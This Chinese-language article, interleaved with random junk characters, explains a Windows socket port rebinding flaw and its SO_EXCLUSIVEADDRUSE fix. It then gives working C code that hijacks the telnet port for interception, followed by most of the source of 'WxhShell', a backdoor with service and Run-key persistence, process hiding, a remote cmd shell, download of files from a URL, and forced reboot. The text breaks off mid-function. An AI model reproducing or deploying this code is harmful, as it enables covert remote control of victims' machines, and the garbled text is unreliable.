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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r=;k[*;{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3$TpI5A Om*Dy} saddr.sin_family = AF_INET; uWSG+ "cZ.86gG`: saddr.sin_addr.s_addr = htonl(INADDR_ANY); *!r8HV/< <v?-$3YT bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vnE,}(M 3mWN?fC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OLq/OO,w H4U;~)i 这意味着什么?意味着可以进行如下的攻击: rHznXME$wZ
Y|",.~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *KNR",. %O-wMl 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G7u7x?E:B` 0X;Dr-3< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xM( !Qy3fs 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 |
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~ pdM|dGq^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y9 "!ys zPn8>J<.0Q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zT@vji%Y |dvcDx0|K 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D*b>
l_ oPi)#|jcb #include Ty>`r n #include ),86Y:^4 #include Mw <1 #include CR<*<=rI DWORD WINAPI ClientThread(LPVOID lpParam); !|SawT5t int main() HRk+2'wjAz { NGNn_1 WORD wVersionRequested; I>:'5V DWORD ret; wx<DzC WSADATA wsaData; [e (- BOOL val; bR.T94-8y SOCKADDR_IN saddr; No I=t SOCKADDR_IN scaddr; jd#{66: int err; x\lua SOCKET s; &"=inkh SOCKET sc; y<Z8+/f`f int caddsize; 6d,"GT HANDLE mt; U`D"L4},. DWORD tid; H&I0\upd wVersionRequested = MAKEWORD( 2, 2 ); /IgTmXxxj err = WSAStartup( wVersionRequested, &wsaData ); M
C>{I3 if ( err != 0 ) { Zscmc;G printf("error!WSAStartup failed!\n"); L_/.b%0) return -1; Mb-C DPT } Upf1*$p saddr.sin_family = AF_INET; 3N?uY2 ^7=yjD` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Yk }zN_v Rzz*[H saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Da.v yp saddr.sin_port = htons(23); O\xUv if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3?C$Tl2G8 { cdk;HK_Ve. printf("error!socket failed!\n"); qr:[y return -1; lgU7jn } dz?:)5>I val = TRUE; zg]9~i8 //SO_REUSEADDR选项就是可以实现端口重绑定的 :[Fwc if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )V3G~p=0 { o +&/ N-t printf("error!setsockopt failed!\n"); 6x_8m^+m return -1; F<oJ } [mX\Q`)QP //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h|wyvYKZ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W Qe>1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]ko>vQ4]3 yVSJn>l! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M^H357r% { (ue;O~ ret=GetLastError(); (xMAo;s_ printf("error!bind failed!\n"); 5<9}{X+@o return -1; od!TwGX } ,w
c|YI)E listen(s,2); Dzb@H$BQ7 while(1) ="MG>4j3.F { zvE]4}VL? caddsize = sizeof(scaddr); ~Xa >; //接受连接请求 "@.hz@> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w<>B4m\ if(sc!=INVALID_SOCKET) Xq9%{'9 { ktnsq&qNL mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1_%3cN. if(mt==NULL) 21W>}I"0? { @qI^xs=Z printf("Thread Creat Failed!\n"); hCM+=]z" break; J-b
Z`)[Q } fAXF_wj } @r=O~x CloseHandle(mt); 64Q{YuI } rcAx3AK. closesocket(s); %vgn>A?]1 WSACleanup(); iWO16= return 0; Iq(BH^K }
5@+4>[tw DWORD WINAPI ClientThread(LPVOID lpParam) .-uH ax0 { pFhznH{0 SOCKET ss = (SOCKET)lpParam; ;=aj)lemCr SOCKET sc; _A1r6 unsigned char buf[4096]; =#^\9|?$ SOCKADDR_IN saddr; ]v$VZ' long num; 9/`T]s" DWORD val; W
A-\2 DWORD ret; uK1DC i //如果是隐藏端口应用的话,可以在此处加一些判断 .*i.Z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Xbe=_9l&p saddr.sin_family = AF_INET; Sw%^&*J saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C,&r7 saddr.sin_port = htons(23); FZO}+ P if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U%_BgLwy% { WQK ~;GV- printf("error!socket failed!\n"); V-IXtQR return -1; G,3.'S,7 } &i$p5 val = 100; LS
<\%A} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m?0caLw< { [<rV
"g ret = GetLastError(); CN+[|Mz*p return -1; "K;f[&xO,o } ^|gD;OED7O if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Sjv_% C$ { BRyrdt*_e ret = GetLastError(); tP^2NTs%] return -1; Z0 @P1 } /'O?
8X< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nF`_3U8e { 16Cd0[h? printf("error!socket connect failed!\n"); c<fl6o) closesocket(sc); \AQ*T`Dq closesocket(ss); c>mTd{Abi return -1; v4OroG=^ } 9=TjSRS while(1) N"L@ { =~yRgGwJ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?$J#jhR? //如果是嗅探内容的话,可以再此处进行内容分析和记录 QbrR=[8b //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9#cPEbb~ num = recv(ss,buf,4096,0); ,%6!8vX if(num>0) {el[W,CT# send(sc,buf,num,0); Tmjcc( else if(num==0) h6`v%7H? break; n%X5TJE num = recv(sc,buf,4096,0); .Yg7V'R1 if(num>0) +6-_9qRq send(ss,buf,num,0); 1 UdET#\ else if(num==0) #\1)Tu%- break; m#|;?z } 2D;2QdO closesocket(ss); RA^6c![ closesocket(sc); yzWVUqtXm return 0 ; OXDEU. } /3#) K-<<s #:[^T,YD0 ========================================================== `cgyiJ 1#}}: 下边附上一个代码,,WXhSHELL &65I
6 e>J.r("f ========================================================== @KJ~M3d0l "d"6.ND #include "stdafx.h" cb82k[L6 ?vh1 >1D #include <stdio.h> JIL(\d #include <string.h> q!f'?yFYK #include <windows.h> GBSuTu8 #include <winsock2.h> a1#",%{I #include <winsvc.h> vLI'Z)\ #include <urlmon.h> ]Ub"NLYV grVPu! B; #pragma comment (lib, "Ws2_32.lib") -RI&uFqOI #pragma comment (lib, "urlmon.lib") :yxP3e%rp 4m1@lnjp #define MAX_USER 100 // 最大客户端连接数 \uG^w(*) #define BUF_SOCK 200 // sock buffer ,B 2p\ #define KEY_BUFF 255 // 输入 buffer L5DeLF+ MMU>55+- #define REBOOT 0 // 重启 '/2)I8 #define SHUTDOWN 1 // 关机 ,eSII2,r4 Kt3T~k #define DEF_PORT 5000 // 监听端口 {&TP&_|H H"NBjVRU% #define REG_LEN 16 // 注册表键长度 M.qE$ #define SVC_LEN 80 // NT服务名长度 XcFu:B weH;,e*r // 从dll定义API N1fPutl$a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \%}w7J; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Sc14F
Fs typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0JE*| CtK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .k!<Oqa q~. .Z Y`7 // wxhshell配置信息 AB+HyZ*// struct WSCFG { \ lW*.< int ws_port; // 监听端口 ?Gx-q+H char ws_passstr[REG_LEN]; // 口令 U+G8Hs/y int ws_autoins; // 安装标记, 1=yes 0=no ovk^ char ws_regname[REG_LEN]; // 注册表键名 W4#E&8g% char ws_svcname[REG_LEN]; // 服务名 T&ib]LmR char ws_svcdisp[SVC_LEN]; // 服务显示名 [hJASX9 char ws_svcdesc[SVC_LEN]; // 服务描述信息 Yij_'0vZ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3w&Z:< int ws_downexe; // 下载执行标记, 1=yes 0=no eWOZC(I*z char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" v8U&{pD, char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^XT;n "Wg5eML0 }; *RD<*l ~--b#o{ // default Wxhshell configuration 3[UaK`/1C struct WSCFG wscfg={DEF_PORT, /"@k_[O "xuhuanlingzhe", 9]gV#uF 1, LS/ZZAN u "Wxhshell", 8a;;MJ) "Wxhshell", AzMX~cd "WxhShell Service", .A F94OlE/ "Wrsky Windows CmdShell Service", +WE<S)z< "Please Input Your Password: ", th|'t}bWV 1, ;"2(e7ir " http://www.wrsky.com/wxhshell.exe", )1/J5DI @8 "Wxhshell.exe" _};T:GOT }; jwp?eL!7 Bq~?!~\?. // 消息定义模块 J9);( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; awgS5We| char *msg_ws_prompt="\n\r? for help\n\r#>"; _iH:>2p 5R char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; lm8<0*;, char *msg_ws_ext="\n\rExit."; LG
vPy char *msg_ws_end="\n\rQuit."; ^f] 9^U{ char *msg_ws_boot="\n\rReboot..."; _^h?JTU^ char *msg_ws_poff="\n\rShutdown..."; ^S:I38gR#q char *msg_ws_down="\n\rSave to "; QSx4M u}-)ywX char *msg_ws_err="\n\rErr!"; v*&WqVg char *msg_ws_ok="\n\rOK!"; Va$JfWef s+9b. char ExeFile[MAX_PATH]; "y-/ 9C int nUser = 0; Tffdm HANDLE handles[MAX_USER]; NchEay;` int OsIsNt; b6^#{))" ]t-B-(D SERVICE_STATUS serviceStatus; 72\o6{BiC SERVICE_STATUS_HANDLE hServiceStatusHandle; 42Cc`a%U }LwKi-G? // 函数声明 /Z2 g> int Install(void); 2NF#mWZ(s int Uninstall(void); es1'z.U J int DownloadFile(char *sURL, SOCKET wsh);
-+n?Q; int Boot(int flag); 7#sb},J{ void HideProc(void); ^ux"<? int GetOsVer(void); OSkBBo]~z int Wxhshell(SOCKET wsl); gmCB4MO void TalkWithClient(void *cs); e0g>.P@6 int CmdShell(SOCKET sock); 'ALe>\WO int StartFromService(void); r5Xi2! int StartWxhshell(LPSTR lpCmdLine); nXW]9zC"/ n ==+NL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fq!-
%Y VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;m}o$` Lu[xoQ~I // 数据结构和表定义 W;T(q~XK SERVICE_TABLE_ENTRY DispatchTable[] = +IM6 GeH { 84c[ Z {wscfg.ws_svcname, NTServiceMain}, 7jPn6uz>w {NULL, NULL} :Oc&{z?q }; ?>iZ){0, R]y9>5 'U // 自我安装 89fl\18% int Install(void) S%7%@Qs"% { (h27SLYm char svExeFile[MAX_PATH]; 70E@h=oQ HKEY key; W C3b_ia strcpy(svExeFile,ExeFile); sx][X itR+ ZIJTGa}B
q // 如果是win9x系统,修改注册表设为自启动 @,SN8K0T if(!OsIsNt) { fj[tm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZowPga RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A5YS
"i RegCloseKey(key); <Q?_],ip if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .GuZV' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6'JP%~QlS RegCloseKey(key); C<hb{$@ return 0; \2AXW@xE } MJ~)CiKgN } `bEum3l\6] } -P$E)5?^ else { MKr:a]-'f~ DZ&AwF // 如果是NT以上系统,安装为系统服务 f/e2td*A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >}B~~C; if (schSCManager!=0) z<s4-GJ)? { D;OR?NdgvW SC_HANDLE schService = CreateService 3bMUsyJ 2 ( !'
jXN82 schSCManager, ybVdWOqv wscfg.ws_svcname, k?'PCV wscfg.ws_svcdisp, bn8?- SERVICE_ALL_ACCESS, ` L?9-)m<f SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , et :v4^*f SERVICE_AUTO_START, 6T=zHFf~ SERVICE_ERROR_NORMAL, {y7,n svExeFile, ii]'XBSVd NULL,
b6gD*w< NULL, p>
4bj>Ql NULL, ]@7]mu:oL NULL, eZ
+uW0 NULL l%9nA.M' ); .@;,'Xw1~ if (schService!=0) >jBnNA@ { o!M*cyq CloseServiceHandle(schService); da53XEF& CloseServiceHandle(schSCManager); ^p!bteA> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s*W)BK|+? strcat(svExeFile,wscfg.ws_svcname); w\3'wD! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7`6JK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IXmO1*o@ RegCloseKey(key); POvpaPAZ< return 0; !YEU<9 } G/C5o=cY } $;t#pN/` CloseServiceHandle(schSCManager); =Pgu?WU@ } @DYkWivLu } m1lfC YP vg(T return 1; Y&_1U/}h } blA]z!FU L8j#lu // 自我卸载 bNO/CD4 int Uninstall(void) yy-\$<j { +qEvz<kch HKEY key; #]5|Qhrr+ WS)u{
or if(!OsIsNt) { O@bDMg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CmPix]YMQ RegDeleteValue(key,wscfg.ws_regname); ICgyCsZ, RegCloseKey(key); $\@yH^hL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5PlTf?Ao RegDeleteValue(key,wscfg.ws_regname); A4W61f RegCloseKey(key); v]HiG_C return 0; U%na^Wu } -/#tQ~{gs } <ArP_!
`3 } kV Z5>D$ else { ywV8s|o c/57_fOK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 20f):A6 if (schSCManager!=0) R4|<Vp<U2 { l7r!fAV-f SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `-N&cc if (schService!=0) =pS\gLQu { 4GRmo"S if(DeleteService(schService)!=0) { *ad"3> CloseServiceHandle(schService); \$h LhYz- CloseServiceHandle(schSCManager); <P3r}|K return 0; ~!!>`x } -W+67@(\8H CloseServiceHandle(schService); w{"GA~= } 1H_#5hd CloseServiceHandle(schSCManager); 9{bzxM } U{>eE8l } 3rZ" T (dF4F4`{ return 1; VQvl,'z } >9g` 9hB 8D:{05 // 从指定url下载文件 5yQv(<~*G int DownloadFile(char *sURL, SOCKET wsh) , &HZvU& { ^"%SHs HRESULT hr;
t=]&q. char seps[]= "/"; BKm$H!u char *token; q'?:{k$% char *file; 2eu`X2IBcT char myURL[MAX_PATH]; MNiu5-g5 char myFILE[MAX_PATH]; p\8cl/~ \6Ze H strcpy(myURL,sURL); O.E token=strtok(myURL,seps); `B6{y9J6 while(token!=NULL) r Q'tab.,] { G1~|$X@@ file=token; k[Iwxl;/ token=strtok(NULL,seps); 8Db~OYVJG } bhSpSul z[S,hD\w GetCurrentDirectory(MAX_PATH,myFILE); j#U?'g strcat(myFILE, "\\"); ,\DB8v6l\A strcat(myFILE, file); 9hT^Y,c0 send(wsh,myFILE,strlen(myFILE),0); y+?tUSPP send(wsh,"...",3,0); IR%a+;Xs hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9kP!O_ if(hr==S_OK) vmOXB#7W return 0; 9,'5~+7 else \sC0om, return 1; lrh6lt) g#_?Vxt } Z=!*7@QY AEnS_Q // 系统电源模块 FzpWT-jnDd int Boot(int flag) 6EK+] 0 { nHKEtKDd HANDLE hToken; 0m`7|80#P TOKEN_PRIVILEGES tkp; 7"xd'\c@ 4'54 if(OsIsNt) { n/?5[O-D] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5.[{PJ]bq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9$Mi/eLG2N tkp.PrivilegeCount = 1; dY\"'LtF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e|Sg?ocR AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `z` `d*_ if(flag==REBOOT) { @mJN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .3|9 ~] return 0; kFM'?L& } {|xwvTlJ else { qW7"qw= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NTL#! return 0; m4Wn$Z } sD{b0mZT } pN0c'COy^ else { faO8
& if(flag==REBOOT) { UWn}0:6t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i8B%|[nm return 0; rpEFyHorJ } +zs6$OI]V else { ;@d%<yMf@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XFu@XUk!K return 0; pXFNK"jm } ri JyH;) } 3Gp4%UT& INbjk;k return 1; jm-0]ugY&` } 0= 'DDy 5GJ0E Z'X // win9x进程隐藏模块 p fBO5Ys void HideProc(void) _kY5
6 { zi?'3T%Ie ^CK)q2K>[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J.<%E[
z if ( hKernel != NULL ) (J$A { owMH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @6j*XF ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #>v7"
< FreeLibrary(hKernel); >|Jw,,uf } 4|$D.`Wu 0[1!K&(L return; d(@A } m@O\Bi}=} 9wq%Fnt // 获取操作系统版本 ZM#WdP int GetOsVer(void) Vw{Ys6q { %C3cdy_c OSVERSIONINFO winfo; xapkhIW2\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]F@md(J GetVersionEx(&winfo); }a9C/t3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p_z"Uwp return 1; sRZ:9de+ else zDl, bLiJ return 0; "q`%d_ } EkL\~^ W1@;94Sb~ // 客户端句柄模块 *b)b#p int Wxhshell(SOCKET wsl) '!.;(Jo { q~^:S~q SOCKET wsh;
yX-xVvlv@ struct sockaddr_in client; s^oNQ} DWORD myID; vfv5ex( '.K,EM!-~h while(nUser<MAX_USER) Wl#^Eu\g1W { {;4PP463 int nSize=sizeof(client); Qi[D&47XO wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ob00(?;H if(wsh==INVALID_SOCKET) return 1; NZTYT\7 ya_'Oz!C handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U2AGH2emw if(handles[nUser]==0) vLS9V/o closesocket(wsh); !X8UP{J)L else o(``7A@7a nUser++; RE .@ +A } AfEEYP)N WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +zD'r5 u.[JYZ
return 0; V1:3 } ]T51;j'48 |f:d72{Qr // 关闭 socket q8h{-^" void CloseIt(SOCKET wsh) Qwa"AY5pW { ?8, N4T0) closesocket(wsh); +wUhB\F
* nUser--; Dgm%Ng ExitThread(0); 84!4Vz^ } SNU
bY6 AY;+Ws // 客户端请求句柄 v 2 GhR* void TalkWithClient(void *cs) O<h#|g1 { `az`?`i7
`_'Dj> SOCKET wsh=(SOCKET)cs; 3kQ ^f=Wd char pwd[SVC_LEN]; >slN:dr0: char cmd[KEY_BUFF]; (RmED\.]4 char chr[1]; :(b3)K int i,j; 8e@JvAaa$ 7S2F^,w while (nUser < MAX_USER) { |+:ZO5FaO Mak9qaWqF> if(wscfg.ws_passstr) { BZ<z@DJp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GzXP //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]'h)7 //ZeroMemory(pwd,KEY_BUFF); #5C3S3e= i=0; O|RO
j while(i<SVC_LEN) { W`'|&7~ V
3]p3 // 设置超时 WHZng QmY fd_set FdRead; XC1lo4| struct timeval TimeOut; +7/*y}.U FD_ZERO(&FdRead); `Y\/US70{c FD_SET(wsh,&FdRead); x#0@$ TimeOut.tv_sec=8; QiweM?- TimeOut.tv_usec=0; 'Xl>,\'6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0:Y`#0qK if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <u?hdwW\ k6-n.Rl01 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mF}k}0 pwd =chr[0]; Zax]i,Bx if(chr[0]==0xd || chr[0]==0xa) { -b)zira pwd=0; ,:(leWeA9 break; $l;tP } DiQkT R i++; GQ0 (&I } W79A4l< c'+r[rSn1 // 如果是非法用户,关闭 socket ;]M67ma7C if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &&nO]p` } p\_qHq\;j GLQvAHC send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]GtR8w@w send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6J-}&U !;aC9VhSU while(1) { ]2Fo.n FFeRE{,
ZeroMemory(cmd,KEY_BUFF); |J Q:.h ;v+uv f // 自动支持客户端 telnet标准 `O=;E`ep j=0; z#J/*712 while(j<KEY_BUFF) { [a)~Dui0@\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +R#`j r" cmd[j]=chr[0]; SfobzX}~Jh if(chr[0]==0xa || chr[0]==0xd) { ^1,Eo2yN cmd[j]=0; `/JR}g{O break; wwcwYPeg } @*"<U] j++; /-YlC(kL } /N]Ow oZ>`Qu // 下载文件 )4)iANH? if(strstr(cmd,"http://")) { `;qv} send(wsh,msg_ws_down,strlen(msg_ws_down),0); xFm{oJ!]& if(DownloadFile(cmd,wsh)) +Q!xEfpO; send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?3TK7]1V: else (bFWT_CChz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i)= 89?8 } 7x7r!rSe, else { txfwLqx Pv-V7`{ switch(cmd[0]) { lzy$.H"W DET!br'z5 // 帮助 VtzmY case '?': { !+45=d 5 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YNJpQAuSn) break; YTjuSV } )|h;J4V // 安装 <,X+`m& case 'i': { ]b~2Dap if(Install()) YV3TxvXMR send(wsh,msg_ws_err,strlen(msg_ws_err),0); h,'mN\6t else Z:Y.":[
Qi send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h
GA0F9.U break; &8_f'+i0 } d+m6-4[_k // 卸载 VVQ74b case 'r': { Y\g90 if(Uninstall()) Xq^y<[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^z%o]; else }M9DqZ;I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nzi/3r7m break; 4=F]`Lql } `\|3
~_v // 显示 wxhshell 所在路径 _/]:=_bf_z case 'p': { G\:psx/ char svExeFile[MAX_PATH]; M*~v'L_sI strcpy(svExeFile,"\n\r"); H8<7# strcat(svExeFile,ExeFile); :&1=8^B Y send(wsh,svExeFile,strlen(svExeFile),0); >.O*gv/_ break; ok>P [
&! } `m@] // 重启 #1jtprc case 'b': { SCh7O} send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 61+pryW%g if(Boot(REBOOT)) K*_{Rs0P send(wsh,msg_ws_err,strlen(msg_ws_err),0); ySuLt@X else { zA'gb'MmW closesocket(wsh); -0KbdHIKb' ExitThread(0); S1az3VJI\ } cJHABdK- break; }* B qi7E> } KXx@
{cv // 关机 PQ&Q71 case 'd': { /_:T\`5uO send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @!&Jgg53G if(Boot(SHUTDOWN)) Y( V3PnH send(wsh,msg_ws_err,strlen(msg_ws_err),0); LG Y!j_bD else { d#vSE.& closesocket(wsh); A^4kYOe ExitThread(0); EBIa%, } vNK`Y|u@ break; ezg^5o; } p'Y&Z?8 // 获取shell '?`@7Eol case 's': { u1pc5 Y{ CmdShell(wsh); \=EY@*= closesocket(wsh); [DotS\p!z ExitThread(0); u>t|X}JH break; @`IXu$Wm( } '!+P{ // 退出 0279g case 'x': { 2Z/][?Jj{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \f /! CloseIt(wsh); M|[@znzR< break; h+B'_`( } 5D]30 // 离开 Fi?32e4KI5 case 'q': { bRK CY6 send(wsh,msg_ws_end,strlen(msg_ws_end),0); wuBlFUSg closesocket(wsh); z<yNG/M1>U WSACleanup(); e>?_)B4 exit(1); 7Ykj#"BZ break; DnG/ n } B@"SOX } k W<Yda<a } +7i7`'9pd I=4Xv<F // 提示信息 8 l'bRyuS if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >bX-!<S } b(.-~c(' } Xr@l+zr ih+*T1#:( return; IFd )OZ5 } Xq8uY/j
!fQJL
// shell模块句柄 .6O52E int CmdShell(SOCKET sock) H )BOSZD { ),nCq^Bp STARTUPINFO si; iA55yT+ ZeroMemory(&si,sizeof(si)); )(:+q(m si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4|zdXS si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L;1$xI8tx PROCESS_INFORMATION ProcessInfo; u%6Irdx char cmdline[]="cmd"; Z/89&Uy`h CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lj
"Z return 0; =~GE?}.o } yCF"Z/. [+g( // 自身启动模式 <mv7HKVg int StartFromService(void) Je#!Wd { ~_DF06G typedef struct NLcO{ { 54
M!Fq- DWORD ExitStatus; Fb<n0[m DWORD PebBaseAddress; ]&Y#)ebs DWORD AffinityMask; 7=7!| UV DWORD BasePriority; j3*M!fM9 ULONG UniqueProcessId; 55 S\&Ad$ ULONG InheritedFromUniqueProcessId; T-L|Q,-{- } PROCESS_BASIC_INFORMATION; u-AWJc+F . p{iG{ PROCNTQSIP NtQueryInformationProcess; @k=cN>ZMc D+@-XU<Lp< static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CCbkxHMf|! static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .dD9&n;#^ B<|:K\MA HANDLE hProcess; .ocx(_3G PROCESS_BASIC_INFORMATION pbi; Zu\p;!e Q0pC4WJ` HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?TvQ"Y}k if(NULL == hInst ) return 0; cZNi~ pwJ'3NbS g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZWf-X g_pGetModuleBaseName = 